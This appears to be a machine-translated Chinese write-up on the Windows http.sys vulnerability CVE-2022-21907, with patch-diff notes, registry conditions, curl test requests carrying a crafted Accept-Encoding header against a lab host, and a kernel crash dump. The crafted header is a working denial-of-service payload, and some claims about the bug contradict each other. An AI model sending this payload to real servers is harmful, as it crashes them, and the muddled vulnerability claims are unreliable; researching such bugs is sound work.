技术分析
更新:似乎在https://piffd0s.medium.com/patch-diffing-cve-2022-21907-b739f4108eee对此漏洞进行了一些初步补丁分析,这似乎表明修补的功能是UlFastSendHttpResponse,UlpAllocateFastTracker UlpFastSendCompleteWorker,UlpFreeFastTracker,和UlAllocateFastTrackerToLookaside。他们还注意到,基于他们的分析a safe assumption may be that the vulnerable code path is hit first in UlFastSendHttpResponse and some of the fixup / mitigations were applied to memory chunks in the other functions
。不过分析仍在进行中。
这个漏洞有很多混淆,它是 http.sys 组件的 HTTP Trailer Support 功能中的一个 RCE,它负责几个高权限 Windows 组件使用的 HTTP 协议栈。我能找到的最好的文章是在https://isc.sans.edu/diary/28234但是请注意,调查仍在进行中,事情可能会随着时间而改变。
首先,要明确的是,尽管http.sys
看起来与 IIS 相关,但它本身并不是 IIS 漏洞。如https://isc.sans.edu/diary/28234http.sys
所述,您可以通过运行命令找到正在使用的组件netsh http show servicestate
。您可能会发现使用它的组件比您想象的要多,例如,英特尔组件将它用于一些奇怪的内置 HTTP 服务器(是的,我也不确定,但你去吧)。
其次,虽然该漏洞影响 Windows 10 1809 和 Windows Server 2019 及更高版本,但默认情况下,并且仅在 Windows 10 1809 和 Windows Server 2019 上,默认HKLM:SystemCurrentControlSetServicesHTTPParameterEnableTrailerSupport
设置为 0,从而禁用易受攻击的预告片功能。这意味着这些版本没有开箱即用的漏洞,但是如果HKLM:SystemCurrentControlSetServicesHTTPParameterEnableTrailerSupport
注册表项设置为 1,那么它们就是。所有其他受影响的 Windows 版本在使用其默认设置时都容易受到攻击。
由于这是一个内核级别的漏洞并且它被远程利用,我想现在是提醒人们 Windows 内核中的 RCE 错误变得越来越难以利用的好时机。虽然 Windows 7 由于缺乏一些缓解措施而更容易被利用,但在 Windows 10 和 Windows 11 中,已经在 Windows 内核中实施了一些缓解措施,专门用于防止 RCE 内核利用,并且根据我的经验,它们可以很好地达到这个效果(本地权限提升攻击是另一个需要改进的故事)。
最后,对于那些想知道 Trailer 支持是什么的人(比如我自己),https ://isc.sans.edu/diary/28234 指出 RFC7230 指定了预告片支持的协议,并指出它只有Transfer-Encoding: chunked
在请求中使用才有意义到服务器。这允许请求者实质上将请求分成几个较小的数据包,然后仅在发送请求正文后发送请求的标头。这背后的最初想法是请求正文可能会随着时间的推移而生成,我们希望在数据可用时开始发送数据,以加快处理速度并确保更快的操作。
希望这会有所帮助,目前还没有很多细节,在人们能够更好地确定这个问题的根本原因之前,可能需要进行一些补丁差异,但现在我会说补丁,如果你可以同时记住,考虑到微软针对 Windows 10 的内核级缓解措施,如果可能的话,一个有效的漏洞利用可能需要时间来开发。
描述:
注意:经过几个小时的测试和实验,我发现没有漏洞,这只是微软的一个荒谬的实验。当我决定在这些 Windows 平台上安装 IIS 包时,一切正常,并且所有东西都打了补丁!Windows Server 2019,Windows 10 版本 1809 - 2018 年默认不存在漏洞,但是在我决定从 1909 升级到 2004 之后,我发现了一个严重的问题!Windows 10 版本 2004 – 2020 年仍然容易受到 HTTP 协议栈 (HTTP.sys) 的攻击。攻击方法:缓冲区溢出——拒绝服务并重启系统。这个问题从去年开始就存在,在 CVE-2021-31166 上报告,并且仍然存在!在那几天,我在这个想法的作者 Axel Souchet 0vercl0k 的帮助和合作下再次进行了这项工作。在那一天,
状态:严重
- 注意: 默认情况下,包含该漏洞的 HTTP Trailer Support 功能不活动。 必须配置以下注册表项以引入易受攻击的情况:
常问问题
- 攻击者如何利用此漏洞?
- 在大多数情况下,未经身份验证的攻击者可以利用 HTTP 协议栈 (http.sys) 将特制数据包发送到目标服务器来处理数据包。
- 这是可蠕虫的吗?
- 是的。Microsoft 建议优先修补受影响的服务器。
HKEY_LOCAL_MACHINESystemCurrentControlSetServicesHTTPParameters
" EnableTrailerSupport " =dword:00000001
此缓解不适用于其他受影响的版本。
调试前的简单测试连接:
代码语言:javascript复制curl " http://192.168.1.8/201 " -H " Accept-Encoding: pwn, pwned, package "
- 输出:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>404 - File or directory not found.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>404 - File or directory not found.</h2>
<h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>
</fieldset></div>
</div>
</body>
</html>
302
代码语言:javascript复制curl "http://192.168.1.8/302" -H "Accept-Encoding: pwn, pwned, package"
- Output:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>404 - File or directory not found.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>404 - File or directory not found.</h2>
<h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>
</fieldset></div>
</div>
</body>
</html>
404
代码语言:javascript复制 curl "http://192.168.1.8/404" -H "Accept-Encoding: pwn, pwned, package"
- Output:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>404 - File or directory not found.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>404 - File or directory not found.</h2>
<h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>
</fieldset></div>
</div>
</body>
</html>
Bugcheck:
代码语言:javascript复制1: kd> kp
Child-SP RetAddr Call Site
ffffa102`87993158 fffff806`50404929 nt!KeBugCheckEx
ffffa102`87993160 fffff806`50404d50 nt!KiBugCheckDispatch 0x69
ffffa102`879932a0 fffff806`504030e3 nt!KiFastFailDispatch 0xd0
ffffa102`87993480 fffff806`4f33f537 nt!KiRaiseSecurityCheckFailure 0x323
ffffa102`87993610 fffff806`4f2f6ac5 HTTP!UlFreeUnknownCodingList 0x63
ffffa102`87993640 fffff806`4f2cd191 HTTP!UlpParseAcceptEncoding 0x298f5
ffffa102`87993730 fffff806`4f2a9368 HTTP!UlAcceptEncodingHeaderHandler 0x51
ffffa102`87993780 fffff806`4f2a8a47 HTTP!UlParseHeader 0x218
ffffa102`87993880 fffff806`4f204c5f HTTP!UlParseHttp 0xac7
ffffa102`879939e0 fffff806`4f20490a HTTP!UlpParseNextRequest 0x1ff
ffffa102`87993ae0 fffff806`4f2a4852 HTTP!UlpHandleRequest 0x1aa
ffffa102`87993b80 fffff806`5035b715 HTTP!UlpThreadPoolWorker 0x112
ffffa102`87993c10 fffff806`503fa078 nt!PspSystemThreadStartup 0x55
ffffa102`87993c60 00000000`00000000 nt!KiStartSystemThread 0x28
1: kd> !analyze
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
KERNEL_SECURITY_CHECK_FAILURE (139)
A kernel component has corrupted a critical data structure. The corruption
could potentially allow a malicious user to gain control of this machine.
Arguments:
Arg1: 0000000000000003, A LIST_ENTRY has been corrupted (i.e. double remove).
Arg2: ffffa10287993480, Address of the trap frame for the exception that caused the bugcheck
Arg3: ffffa102879933d8, Address of the exception record for the exception that caused the bugcheck
Arg4: 0000000000000000, Reserved
Debugging Details:
------------------
*** WARNING: Unable to verify timestamp for win32k.sys
BUGCHECK_CODE: 139
BUGCHECK_P1: 3
BUGCHECK_P2: ffffa10287993480
BUGCHECK_P3: ffffa102879933d8
BUGCHECK_P4: 0
PROCESS_NAME: System
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
SYMBOL_NAME: HTTP!UlFreeUnknownCodingList 63
MODULE_NAME: HTTP
IMAGE_NAME: HTTP.sys
FAILURE_BUCKET_ID: 0x139_3_CORRUPT_LIST_ENTRY_HTTP!UlFreeUnknownCodingList
FAILURE_ID_HASH: {1b194f54-2d0b-e3a8-62e2-afded08822bd}
Followup: MachineOwner
---------